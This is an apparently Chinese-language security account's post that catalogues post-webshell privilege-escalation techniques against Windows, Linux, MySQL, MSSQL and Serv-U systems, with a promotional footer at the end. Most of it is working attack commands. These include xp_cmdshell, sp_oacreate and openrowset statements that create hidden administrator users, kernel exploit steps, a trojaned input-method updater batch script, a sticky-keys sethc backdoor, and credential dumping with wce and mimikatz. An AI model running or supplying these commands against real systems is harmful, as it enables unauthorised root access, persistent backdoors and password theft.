系统层面提权:拿到webshell后通过对漏洞和工具的利用获取服务器权限或用户名及密码,开启远程连接。
网络层面提权:拿到webshell后无法绕过防火墙等来建立连接时可以通过反弹shell以及端口转发的方式来进一步控制。
寻找可写目录对其上传exp或cmd.exe,进行提权。
windows内核漏洞提权exp集合:
https://github.com/Secwiki/windows-kernel-exploits
eg:通过systeminfo查询相关补丁信息,查看是否有可利用的exp。
发现可以利用ms11_080漏洞进行提权,上传exp。
对其添加账户
查看账户
开启远程链接
linux提权后得到的是交互式shell,需要反弹才能进行下一步,因此先用nc或者lcx进行反弹,同理这里用unaem -a 查看,在exploit库里去寻找可以利用的模块,上传exp后利用chomd 给予权限(若exp为.c时需要先对其进行编译gcc xxx.c -o),添加用户。
linux内核提权漏洞exp集合:
https://github.com/SecWiki/linux-kernel-exploits
eg:脏牛
查看内核版本及信息
上传shell.pl
执行shell.pl
开启监听
上传dirty.c
编译dirty.c
生成一个root权限用户
使用putty链接
由于udf.dll文件引入mysql中时其中的函数会被作为mysql函数使用,因此可通过自定义函数来执行系统命令。
mysql版本大于及5.1时udf.dll文件放在mysql安装目录的\lib\plugin才能创建自定义函数,若不存在需自行创建plugin。
eg:
在lib下创建plugin文件夹 并上传dll文件
修改mysql.ini文件
创建cmdshell,增加新用户
create function cmdshell returns string soname "udf.dll"
新增隐藏用户,并加入管理员组
nc开启监听
返回shell
通过控制mof中的vbs脚本执行系统命令,通过load_file将文件写入wbem\mof中且每五秒执行一次
条件:版本为win2003及以下、secure_file_priv的值不为null eg:
1、有写权限的Webshell情况下:
找到可写目录上传mof文件,创建用户
添加admin用户
2、有写权限的数据库账号
利用大马上传mof文件
使用sql语句将文件导入到具有读写 权限的目录下
使用msf进行mof提权
利用扩展存储过程来执行系统命令
条件:mssql服务没有降权、有sa账号与密码
xp_cmdshell在mssql2005后是默认关闭的,若有sa权限可以将其开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
执行系统命令:
exec master.dbo.xp_cmdshell 'ipconfig'//查看ip信息
exec master..xp_cmdshell 'net user test 12345 /add' //添加用户
exec master..xp_cmdshell 'net user localgroup administrators test /add' //添加新用户至管理员组
eg:
修改为允许修改高级参数
打开xp_cmdshell扩展
添加用户
添加至管理员组
同样,在2005后是默认关闭的,将其打开
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行系统命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add' //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' //添加至管理员组
以上为2k系统下,xp和2k3需要在用户名后添加$,如 user 123$ 123/add
利用存储过程脚本可以写入注册表来实现对超级管理员账号的克隆。
在xp_cmdshell与沙盘模式开启的情况下, 利用jet.oledb执行系统命令
select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell';
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
启用openrowset 与open datasource组件
exec sp_configure 'show advanced options',1;reconfigure//允许修改高级参数
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure//打开组件扩展
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')//添加用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')//添加新用户至管理员组
(设置用户id)通过suid权限对二进制文件或程序来执行命令,因为当这类文件执行时,调用者会暂时获得该文件的文件拥有者权限
可以通过命令查找具有root权限的suid文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用于suid提权的文件与指令:vim、bash、more、less、nano、cp
superuser do,普通用户在使用sudo 执行命令时会暂时拥有root权限,可以在该命令运行过程中调用系统命令运行/bin/bash,那么就是在root权限下运行bash了
原理:Sudo 错误地在参数中转义了反斜杠字符,从而触发了缓冲溢出,最终导致任何本地用户都可以获得 root 权限。通常,在 shell 中(sudo -s 或 sudo -i)运行命令时,sudo 都会转义特殊的字符。但是,在使用 sudoedit -s 或 sudoedit -i 时实际上又没有进行转义,这使得缓冲区溢出成为了可能。
利用sudo -v查看sudo版本,小于1.8.28时存在sudo漏洞,sudo su获得root权限
对serverudaemon.ini进行修改,添加serveru的新用户进行登录,命令行输入对应服务器的ip地址及密码
ftp>quote site exec net user username passwd /add
ftp>quote site exec net localgroup administrators username /add
查看serverudaemon.ini文件中passwd参数值,对其进行爆破,登录默认账号localadministrator, 默认密码#[email protected]$ak#.lk;[email protected] 。若被修改了,可下载安装目录下的serverAdmin.exe使用winhex(十六进制查看器),查找LocalAdministrator后面即可看到相应密码。
在低版本的搜狗输入法的根目录下有pinyinup.exe用来跟新词库,因此可以利用更改过名字的木马来伪装,当搜狗输入法更新词库时便会完成提权
eg: 构建木马
@echo off
@net user ndsec ndsecpw /add
@net localgroup administrators ndsec /add
将原本的更新程序重命名
上传新生成的
手动更新词库(等不及了)
通过粘滞键的功能在复制文件的同时对文件名进行更改,将cmd.exe文件复制到 c:\windows\system32\dllcache目录,并更名为sethc.exe
远程连接靶机,bat运行后,注销系统,五次shift以system调用cmd 将经过quickbfc.exe进行编译的bat批处理文件,上传到webshell并执行,远程连接
eg:
echo 提权开始......
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
echo 提权结束......
在远程连接后构建bat
注销后连按五次shift
上传BrowserPasswordDump.exe 并启动
将哈希值导出
摘取后注入 (wce路径下执行 wce.exe -s +hash )
用dir \domain\c$查看 列出文件(wce路径下)
Privilege::debug查看权限
Sekurlsa::logonpasswords获取账户密码信息
星 球 免 费 福 利
转发公众号本文到朋友圈获取抽奖资格
点击下方小程序图片完成抽奖
星球的最近主题和星球内部工具一些展示
欢 迎 加 入 星 球 !
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读